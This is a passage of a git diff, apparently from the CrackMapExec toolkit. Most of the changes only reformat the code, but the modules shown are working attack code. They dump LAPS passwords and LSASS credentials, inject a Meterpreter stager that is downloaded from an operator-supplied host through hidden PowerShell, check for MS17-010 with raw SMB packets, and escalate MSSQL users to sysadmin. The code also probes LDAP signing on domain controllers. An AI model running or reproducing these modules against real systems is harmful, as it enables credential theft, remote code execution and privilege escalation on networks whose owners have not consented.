msMCSAdmPwd in laps_computers: - context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd)) + context.log.highlight( + "Computer: {:<20} User: {:<15} Password: {}".format( + sAMAccountName, user, msMCSAdmPwd + ) + ) else: - context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !") - + context.log.fail( + "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !" + ) diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index 7003db20..ed0337e9 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -19,11 +19,14 @@ class CMEModule: Module by LuemmelSec (@theluemmel), updated by @zblurx Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = 'ldap-checker' - description = 'Checks whether LDAP signing and binding are required and / or enforced' - supported_protocols = ['ldap'] + + name = "ldap-checker" + description = ( + "Checks whether LDAP signing and binding are required and / or enforced" + ) + supported_protocols = ["ldap"] opsec_safe = True - multiple_hosts = True + multiple_hosts = True def options(self, context, module_options): """ @@ -32,60 +35,76 @@ class CMEModule: pass def on_login(self, context, connection): - - #Grab the variables from the CME connection to fill our variables - - inputUser = connection.domain + '\\' + connection.username + # Grab the variables from the CME connection to fill our variables + + inputUser = connection.domain + "\\" + connection.username inputPassword = connection.password - if connection.password == '' and connection.nthash is not None: + if connection.password == "" and connection.nthash is not None: context.log.debug("Using NT(LM) hash for authentication") inputPassword = "aad3b435b51404eeaad3b435b51404ee:" + connection.nthash dcTarget = connection.conn.getRemoteHost() - - #Conduct a bind to LDAPS and determine if channel - #binding is enforced based on the contents of potential - #errors returned. This can be determined unauthenticated, - #because the error indicating channel binding enforcement - #will be returned regardless of a successful LDAPS bind. + + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. def run_ldaps_noEPA(inputUser, inputPassword, dcTarget): try: tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) ldapServer = ldap3.Server( - dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) + dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls + ) ldapConn = ldap3.Connection( - ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM) + ldapServer, + user=inputUser, + password=inputPassword, + authentication=ldap3.NTLM, + ) if not ldapConn.bind(): if "data 80090346" in str(ldapConn.result): - return True #channel binding IS enforced + return True # channel binding IS enforced elif "data 52e" in str(ldapConn.result): - return False #channel binding not enforced + return False # channel binding not enforced else: context.log.fail("UNEXPECTED ERROR: " + str(ldapConn.result)) else: - #LDAPS bind successful - return False #because channel binding is not enforced + # LDAPS bind successful + return False # because channel binding is not enforced exit() except Exception as e: - context.log.fail("\n [!] "+ dcTarget+" -", str(e)) - context.log.fail(" * Ensure DNS is resolving properly, and that you can reach LDAPS on this host") + context.log.fail("\n [!] " + dcTarget + " -", str(e)) + context.log.fail( + " * Ensure DNS is resolving properly, and that you can reach LDAPS on this host" + ) - #Conduct a bind to LDAPS with channel binding supported - #but intentionally miscalculated. In the case that and - #LDAPS bind has without channel binding supported has occured, - #you can determine whether the policy is set to "never" or - #if it's set to "when supported" based on the potential - #error recieved from the bind attempt. - async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): - target = MSLDAPTarget(ip=connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that and + # LDAPS bind has without channel binding supported has occured, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error recieved from the bind attempt. + async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): + target = MSLDAPTarget( + ip=connection.host, + hostname=connection.hostname, + domain=connection.domain, + dc_ip=connection.domain, + ) stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT secret = connection.password if not connection.nthash else connection.nthash - credential = NTLMCredential(secret=secret, username=connection.username, domain=connection.domain, stype=stype) + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() if err is not None: context.log.fail("ERROR while connecting to " + dcTarget + ": " + err) - #forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message + ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" _, err = await ldapsClientConn.bind() if "data 80090346" in str(err): return True @@ -96,19 +115,23 @@ class CMEModule: elif err is None: return False - - #Domain Controllers do not have a certificate setup for - #LDAPS on port 636 by default. If this has not been setup, - #the TLS handshake will hang and you will not be able to - #interact with LDAPS. The condition for the certificate - #existing as it should is either an error regarding - #the fact that the certificate is self-signed, or - #no error at all. Any other "successful" edge cases - #not yet accounted for. + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. def DoesLdapsCompleteHandshake(dcIp): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) - ssl_sock = ssl.wrap_socket(s,cert_reqs=ssl.CERT_OPTIONAL,suppress_ragged_eofs=False,do_handshake_on_connect=False) + ssl_sock = ssl.wrap_socket( + s, + cert_reqs=ssl.CERT_OPTIONAL, + suppress_ragged_eofs=False, + do_handshake_on_connect=False, + ) ssl_sock.connect((dcIp, 636)) try: ssl_sock.do_handshake() @@ -122,51 +145,74 @@ class CMEModule: ssl_sock.close() return False else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) + context.log.fail( + "Unexpected error during LDAPS handshake: " + str(e) + ) ssl_sock.close() return False - - #Conduct and LDAP bind and determine if server signing - #requirements are enforced based on potential errors - #during the bind attempt. + # Conduct and LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. def run_ldap(inputUser, inputPassword, dcTarget): ldapServer = ldap3.Server( - dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL) + dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL + ) ldapConn = ldap3.Connection( - ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM) + ldapServer, + user=inputUser, + password=inputPassword, + authentication=ldap3.NTLM, + ) if not ldapConn.bind(): if "stronger" in str(ldapConn.result): - return True #because LDAP server signing requirements ARE enforced + return True # because LDAP server signing requirements ARE enforced elif "data 52e" or "data 532" in str(ldapConn.result): context.log.debug("Not connected") - return + return else: context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result)) else: - #LDAPS bind successful - return False #because LDAP server signing requirements are not enforced + # LDAPS bind successful + return ( + False # because LDAP server signing requirements are not enforced + ) exit() - #Run trough all our code blocks to determine LDAP signing and channel binding settings. + # Run trough all our code blocks to determine LDAP signing and channel binding settings. ldapIsProtected = run_ldap(inputUser, inputPassword, dcTarget) - + if ldapIsProtected == False: context.log.highlight("LDAP Signing NOT Enforced!") elif ldapIsProtected == True: context.log.fail("LDAP Signing IS Enforced") if DoesLdapsCompleteHandshake(dcTarget) == True: - ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget)) - if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True: - context.log.highlight('LDAPS Channel Binding is set to \"When Supported\"') - elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False: - context.log.highlight('LDAPS Channel Binding is set to \"NEVER\"') + ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA( + inputUser, inputPassword, dcTarget + ) + ldapsChannelBindingWhenSupportedCheck = asyncio.run( + run_ldaps_withEPA(inputUser, inputPassword, dcTarget) + ) + if ( + ldapsChannelBindingAlwaysCheck == False + and ldapsChannelBindingWhenSupportedCheck == True + ): + context.log.highlight( + 'LDAPS Channel Binding is set to "When Supported"' + ) + elif ( + ldapsChannelBindingAlwaysCheck == False + and ldapsChannelBindingWhenSupportedCheck == False + ): + context.log.highlight('LDAPS Channel Binding is set to "NEVER"') elif ldapsChannelBindingAlwaysCheck == True: - context.log.fail('LDAPS Channel Binding is set to \"Required\"') + context.log.fail('LDAPS Channel Binding is set to "Required"') else: context.log.fail("\nSomething went wrong...") - exit() + exit() else: - context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured") + context.log.fail( + dcTarget + + " - cannot complete TLS handshake, cert likely not configured" + ) diff --git a/cme/modules/lsassy_dump.py b/cme/modules/lsassy_dump.py index 75146d08..47f73d18 100644 --- a/cme/modules/lsassy_dump.py +++ b/cme/modules/lsassy_dump.py @@ -15,10 +15,12 @@ from cme.helpers.bloodhound import add_user_bh class CMEModule: - name = 'lsassy' + name = "lsassy" description = "Dump lsass and parse the result remotely with lsassy" - supported_protocols = ['smb'] - opsec_safe = True # writes temporary files, and it's possible for them to not be deleted + supported_protocols = ["smb"] + opsec_safe = ( + True # writes temporary files, and it's possible for them to not be deleted + ) multiple_hosts = True def __init__(self, context=None, module_options=None): @@ -30,9 +32,9 @@ class CMEModule: """ METHOD Method to use to dump lsass.exe with lsassy """ - self.method = 'comsvcs' - if 'METHOD' in module_options: - self.method = module_options['METHOD'] + self.method = "comsvcs" + if "METHOD" in module_options: + self.method = module_options["METHOD"] def on_admin_login(self, context, connection): host = connection.host @@ -51,7 +53,7 @@ class CMEModule: nthash=nthash, username=username, password=password, - domain=domain_name + domain=domain_name, ) if session.smb_session is None: @@ -83,9 +85,13 @@ class CMEModule: if deleted_file: context.log.debug(f"Deleted dumper file") else: - context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}") + context.log.fail( + f"[OPSEC] No exception, but failed to delete file: {file_path}" + ) except Exception as e: - context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}") + context.log.fail( + f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}" + ) if credentials is None: credentials = [] @@ -94,15 +100,35 @@ class CMEModule: c = cred.get_object() context.log.debug(f"Cred: {c}") - credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")] + credentials = [ + cred.get_object() + for cred in credentials + if cred.ticket is None + and cred.masterkey is None + and not cred.get_username().endswith("$") + ] credentials_unique = [] credentials_output = [] context.log.debug(f"Credentials: {credentials}") for cred in credentials: context.log.debug(f"Credential: {cred}") - if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: - credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) + if [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] not in credentials_unique: + credentials_unique.append( + [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] + ) credentials_output.append(cred) context.log.debug(f"Calling process_credentials") @@ -115,26 +141,50 @@ class CMEModule: domain = None for cred in credentials: domain = cred["domain"] - if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): + if ( + "." not in cred["domain"] + and cred["domain"].upper() in connection.domain.upper() + ): domain = connection.domain # slim shady - self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) - self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) - credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()}) + self.save_credentials( + context, + connection, + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ) + self.print_credentials( + context, + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ) + credz_bh.append( + {"username": cred["username"].upper(), "domain": domain.upper()} + ) add_user_bh(credz_bh, domain, context.log, connection.config) @staticmethod def print_credentials(context, domain, username, password, lmhash, nthash): if password is None: - password = ':'.join(h for h in [lmhash, nthash] if h is not None) + password = ":".join(h for h in [lmhash, nthash] if h is not None) output = "%s\\%s %s" % (domain, username, password) context.log.highlight(output) @staticmethod - def save_credentials(context, connection, domain, username, password, lmhash, nthash): + def save_credentials( + context, connection, domain, username, password, lmhash, nthash + ): host_id = context.db.get_hosts(connection.host)[0][0] if password is not None: - credential_type = 'plaintext' + credential_type = "plaintext" else: - credential_type = 'hash' - password = ':'.join(h for h in [lmhash, nthash] if h is not None) - context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) + credential_type = "hash" + password = ":".join(h for h in [lmhash, nthash] if h is not None) + context.db.add_credential( + credential_type, domain, username, password, pillaged_from=host_id + ) diff --git a/cme/modules/met_inject.py b/cme/modules/met_inject.py index 23b951c8..96c02b56 100644 --- a/cme/modules/met_inject.py +++ b/cme/modules/met_inject.py @@ -9,6 +9,7 @@ class CMEModule: Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script Module by @byt3bl33d3r """ + name = "met_inject" description = "Downloads the Meterpreter stager and injects it into memory" supported_protocols = ["smb", "mssql"] @@ -41,19 +42,19 @@ class CMEModule: after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that """ - self.met_ssl = 'https' + self.met_ssl = "https" - if 'SRVHOST' not in module_options or 'SRVPORT' not in module_options: - context.log.fail('SRVHOST and SRVPORT options are required!') + if "SRVHOST" not in module_options or "SRVPORT" not in module_options: + context.log.fail("SRVHOST and SRVPORT options are required!") exit(1) - if 'SSL' in module_options: - self.met_ssl = module_options['SSL'] - if 'RAND' in module_options: - self.rand = module_options['RAND'] + if "SSL" in module_options: + self.met_ssl = module_options["SSL"] + if "RAND" in module_options: + self.rand = module_options["RAND"] - self.srvhost = module_options['SRVHOST'] - self.srvport = module_options['SRVPORT'] + self.srvhost = module_options["SRVHOST"] + self.srvport = module_options["SRVPORT"] def on_admin_login(self, context, connection): # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload @@ -69,10 +70,11 @@ class CMEModule: $ProcessInfo.CreateNoWindow = $True $ProcessInfo.WindowStyle = "Hidden" $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format( - 'http' if self.met_ssl == 'http' else 'https', + "http" if self.met_ssl == "http" else "https", self.srvhost, self.srvport, - self.rand) + self.rand, + ) context.log.debug(command) connection.ps_execute(command, force_ps32=True) - context.log.success('Executed payload') + context.log.success("Executed payload") diff --git a/cme/modules/ms17-010.py b/cme/modules/ms17-010.py index b5c82c15..3c98cd9c 100644 --- a/cme/modules/ms17-010.py +++ b/cme/modules/ms17-010.py @@ -1,199 +1,183 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -# All credits to https://github.com/d4t4s3c/Win7Blue +# All credits to https://github.com/d4t4s3c/Win7Blue # @d4t4s3c -# Module by @mpgn_x64 +# Module by @mpgn_x64 from ctypes import * import socket import struct -class CMEModule: - name = 'ms17-010' +class CMEModule: + name = "ms17-010" description = "MS17-010, /!\ not tested oustide home lab" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): if check(connection.host): context.log.highlight("VULNERABLE") - context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/") + context.log.highlight( + "Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/" + ) + class SMB_HEADER(Structure): - """SMB Header decoder. - """ + """SMB Header decoder.""" - _pack_ = 1 + _pack_ = 1 - _fields_ = [ - ("server_component", c_uint32), - ("smb_command", c_uint8), - ("error_class", c_uint8), - ("reserved1", c_uint8), - ("error_code", c_uint16), - ("flags", c_uint8), - ("flags2", c_uint16), - ("process_id_high", c_uint16), - ("signature", c_uint64), - ("reserved2", c_uint16), - ("tree_id", c_uint16), - ("process_id", c_uint16), - ("user_id", c_uint16), - ("multiplex_id", c_uint16) - ] + _fields_ = [ + ("server_component", c_uint32), + ("smb_command", c_uint8), + ("error_class", c_uint8), + ("reserved1", c_uint8), + ("error_code", c_uint16), + ("flags", c_uint8), + ("flags2", c_uint16), + ("process_id_high", c_uint16), + ("signature", c_uint64), + ("reserved2", c_uint16), + ("tree_id", c_uint16), + ("process_id", c_uint16), + ("user_id", c_uint16), + ("multiplex_id", c_uint16), + ] + + def __new__(self, buffer=None): + return self.from_buffer_copy(buffer) - def __new__(self, buffer=None): - return self.from_buffer_copy(buffer) def generate_smb_proto_payload(*protos): - """Generate SMB Protocol. Pakcet protos in order. - """ + """Generate SMB Protocol. Pakcet protos in order.""" hexdata = [] for proto in protos: - hexdata.extend(proto) + hexdata.extend(proto) return "".join(hexdata) def calculate_doublepulsar_xor_key(s): - """Calaculate Doublepulsar Xor Key - """ - x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) - x = x & 0xffffffff + """Calaculate Doublepulsar Xor Key""" + x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8)) + x = x & 0xFFFFFFFF return x def negotiate_proto_request(): - """Generate a negotiate_proto_request packet. - """ - netbios = [ - '\x00', - '\x00\x00\x54' - ] + """Generate a negotiate_proto_request packet.""" + netbios = ["\x00", "\x00\x00\x54"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x72', - '\x00\x00\x00\x00', - '\x18', - '\x01\x28', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - '\x00\x00', - '\xC5\x5E' + "\xFF\x53\x4D\x42", + "\x72", + "\x00\x00\x00\x00", + "\x18", + "\x01\x28", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + "\x00\x00", + "\xC5\x5E", ] negotiate_proto_request = [ - '\x00', - '\x31\x00', - - '\x02', - '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', - - '\x02', - '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', - - '\x02', - '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', - - '\x02', - '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' + "\x00", + "\x31\x00", + "\x02", + "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", + "\x02", + "\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", + "\x02", + "\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", + "\x02", + "\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", ] return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) def session_setup_andx_request(): - """Generate session setuo andx request. - """ - netbios = [ - '\x00', - '\x00\x00\x63' - ] + """Generate session setuo andx request.""" + netbios = ["\x00", "\x00\x00\x63"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x73', - '\x00\x00\x00\x00', - '\x18', - '\x01\x20', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - '\x00\x00', - '\xC5\x5E', + "\xFF\x53\x4D\x42", + "\x73", + "\x00\x00\x00\x00", + "\x18", + "\x01\x20", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + "\x00\x00", + "\xC5\x5E", ] session_setup_andx_request = [ - '\x0D', - '\xFF', - '\x00', - '\x00\x00', - '\xDF\xFF', - '\x02\x00', - '\x01\x00', - '\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x00\x00\x00\x00', - '\x40\x00\x00\x00', - '\x26\x00', - '\x00', - '\x2e\x00', - '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', - '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', + "\x0D", + "\xFF", + "\x00", + "\x00\x00", + "\xDF\xFF", + "\x02\x00", + "\x01\x00", + "\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x00\x00\x00\x00", + "\x40\x00\x00\x00", + "\x26\x00", + "\x00", + "\x2e\x00", + "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", + "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", ] return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) def tree_connect_andx_request(ip, userid): - """Generate tree connect andx request. - """ + """Generate tree connect andx request.""" - netbios = [ - '\x00', - '\x00\x00\x47' - ] + netbios = ["\x00", "\x00\x00\x47"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x75', - '\x00\x00\x00\x00', - '\x18', - '\x01\x20', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - userid, - '\xC5\x5E' + "\xFF\x53\x4D\x42", + "\x75", + "\x00\x00\x00\x00", + "\x18", + "\x01\x20", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + userid, + "\xC5\x5E", ] ipc = "\\\\{}\IPC$\x00".format(ip) tree_connect_andx_request = [ - '\x04', - '\xFF', - '\x00', - '\x00\x00', - '\x00\x00', - '\x01\x00', - '\x1A\x00', - '\x00', - ipc.encode(), - '\x3f\x3f\x3f\x3f\x3f\x00' + "\x04", + "\xFF", + "\x00", + "\x00\x00", + "\x00\x00", + "\x01\x00", + "\x1A\x00", + "\x00", + ipc.encode(), + "\x3f\x3f\x3f\x3f\x3f\x00", ] length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) @@ -204,106 +188,98 @@ def tree_connect_andx_request(ip, userid): def peeknamedpipe_request(treeid, processid, userid, multiplex_id): - """Generate tran2 request - """ + """Generate tran2 request""" - netbios = [ - '\x00', - '\x00\x00\x4a' - ] + netbios = ["\x00", "\x00\x00\x4a"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x25', - '\x00\x00\x00\x00', - '\x18', - '\x01\x28', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - treeid, - processid, - userid, - multiplex_id + "\xFF\x53\x4D\x42", + "\x25", + "\x00\x00\x00\x00", + "\x18", + "\x01\x28", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + treeid, + processid, + userid, + multiplex_id, ] tran_request = [ - '\x10', - '\x00\x00', - '\x00\x00', - '\xff\xff', - '\xff\xff', - '\x00', - '\x00', - '\x00\x00', - '\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x4a\x00', - '\x00\x00', - '\x4a\x00', - '\x02', - '\x00', - '\x23\x00', - '\x00\x00', - '\x07\x00', - '\x5c\x50\x49\x50\x45\x5c\x00' + "\x10", + "\x00\x00", + "\x00\x00", + "\xff\xff", + "\xff\xff", + "\x00", + "\x00", + "\x00\x00", + "\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x4a\x00", + "\x00\x00", + "\x4a\x00", + "\x02", + "\x00", + "\x23\x00", + "\x00\x00", + "\x07\x00", + "\x5c\x50\x49\x50\x45\x5c\x00", ] return generate_smb_proto_payload(netbios, smb_header, tran_request) def trans2_request(treeid, processid, userid, multiplex_id): - """Generate trans2 request. - """ + """Generate trans2 request.""" - netbios = [ - '\x00', - '\x00\x00\x4f' - ] + netbios = ["\x00", "\x00\x00\x4f"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x32', - '\x00\x00\x00\x00', - '\x18', - '\x07\xc0', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - treeid, - processid, - userid, - multiplex_id + "\xFF\x53\x4D\x42", + "\x32", + "\x00\x00\x00\x00", + "\x18", + "\x07\xc0", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + treeid, + processid, + userid, + multiplex_id, ] trans2_request = [ - '\x0f', - '\x0c\x00', - '\x00\x00', - '\x01\x00', - '\x00\x00', - '\x00', - '\x00', - '\x00\x00', - '\xa6\xd9\xa4\x00', - '\x00\x00', - '\x0c\x00', - '\x42\x00', - '\x00\x00', - '\x4e\x00', - '\x01', - '\x00', - '\x0e\x00', - '\x00\x00', - '\x0c\x00' + '\x00' * 12 + "\x0f", + "\x0c\x00", + "\x00\x00", + "\x01\x00", + "\x00\x00", + "\x00", + "\x00", + "\x00\x00", + "\xa6\xd9\xa4\x00", + "\x00\x00", + "\x0c\x00", + "\x42\x00", + "\x00\x00", + "\x4e\x00", + "\x01", + "\x00", + "\x0e\x00", + "\x00\x00", + "\x0c\x00" + "\x00" * 12, ] return generate_smb_proto_payload(netbios, smb_header, trans2_request) + def check(ip, port=445): - """Check if MS17_010 SMB Vulnerability exists. - """ + """Check if MS17_010 SMB Vulnerability exists.""" try: buffersize = 1024 timeout = 5.0 @@ -323,10 +299,10 @@ def check(ip, port=445): smb_header = tcp_response[4:36] smb = SMB_HEADER(smb_header) - user_id = struct.pack(' str: return self.query_and_get_output("select SUSER_NAME()") - def is_admin(self, exec_as='') -> bool: - res = self.query_and_get_output( - exec_as + - "SELECT IS_SRVROLEMEMBER('sysadmin')" - ) + def is_admin(self, exec_as="") -> bool: + res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')") self.revert_context(exec_as) if int(res): self.admin_privs = True @@ -201,14 +178,15 @@ class CMEModule: else: return False - def get_databases(self, exec_as='') -> list: + def get_databases(self, exec_as="") -> list: res = self.query_and_get_output( - exec_as + "SELECT name FROM master..sysdatabases") + exec_as + "SELECT name FROM master..sysdatabases" + ) self.revert_context(exec_as) tables = res.split("\n\n")[2:] return tables - def is_dbowner(self, database, exec_as='') -> bool: + def is_dbowner(self, database, exec_as="") -> bool: query = f"""select rp.name as database_role from [{database}].sys.database_role_members drm join [{database}].sys.database_principals rp @@ -224,14 +202,14 @@ class CMEModule: return False return res == "db_owner" - def find_dbowner_priv(self, databases, exec_as='') -> list: + def find_dbowner_priv(self, databases, exec_as="") -> list: match = [] for database in databases: if self.is_dbowner(database, exec_as): match.append(database) return match - def find_trusted_db(self, exec_as='') -> list: + def find_trusted_db(self, exec_as="") -> list: query = """SELECT d.name AS DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m @@ -250,7 +228,7 @@ class CMEModule: except IndexError: return [] - def check_dbowner_privesc(self, exec_as=''): + def check_dbowner_privesc(self, exec_as=""): databases = self.get_databases(exec_as) dbowner = self.find_dbowner_priv(databases, exec_as) trusted_db = self.find_trusted_db(exec_as) @@ -260,7 +238,7 @@ class CMEModule: return db return None - def do_dbowner_privesc(self, database, exec_as=''): + def do_dbowner_privesc(self, database, exec_as=""): # change context if necessary self.query_and_get_output(exec_as) # use database @@ -276,16 +254,14 @@ class CMEModule: self.query_and_get_output("DROP PROCEDURE sp_elevate_me;") self.revert_context(exec_as) - def do_impersonation_privesc(self, username, exec_as=''): + def do_impersonation_privesc(self, username, exec_as=""): # change context if necessary self.query_and_get_output(exec_as) # update our privilege - self.query_and_get_output( - f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'" - ) + self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'") self.revert_context(exec_as) - def get_impersonate_users(self, exec_as='') -> list: + def get_impersonate_users(self, exec_as="") -> list: query = """SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b @@ -304,7 +280,6 @@ class CMEModule: ) return not self.is_admin() - def is_admin_user(self, username) -> bool: res = self.query_and_get_output( f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')" @@ -319,4 +294,4 @@ class CMEModule: return False def revert_context(self, exec_as): - self.query_and_get_output("REVERT;"*exec_as.count("EXECUTE")) + self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE")) diff --git a/cme/modules/nanodump.py b/cme/modules/nanodump.py index 7f628dfb..dba01e69 100644 --- a/cme/modules/nanodump.py +++ b/cme/modules/nanodump.py @@ -19,7 +19,7 @@ class CMEModule: supported_protocols = ["smb", "mssql"] opsec_safe = True multiple_hosts = True - + def __init__(self, context=None, module_options=None): self.connection = None self.dir_result = None @@ -44,8 +44,12 @@ class CMEModule: self.tmp_dir = "C:\\Windows\\Temp\\" 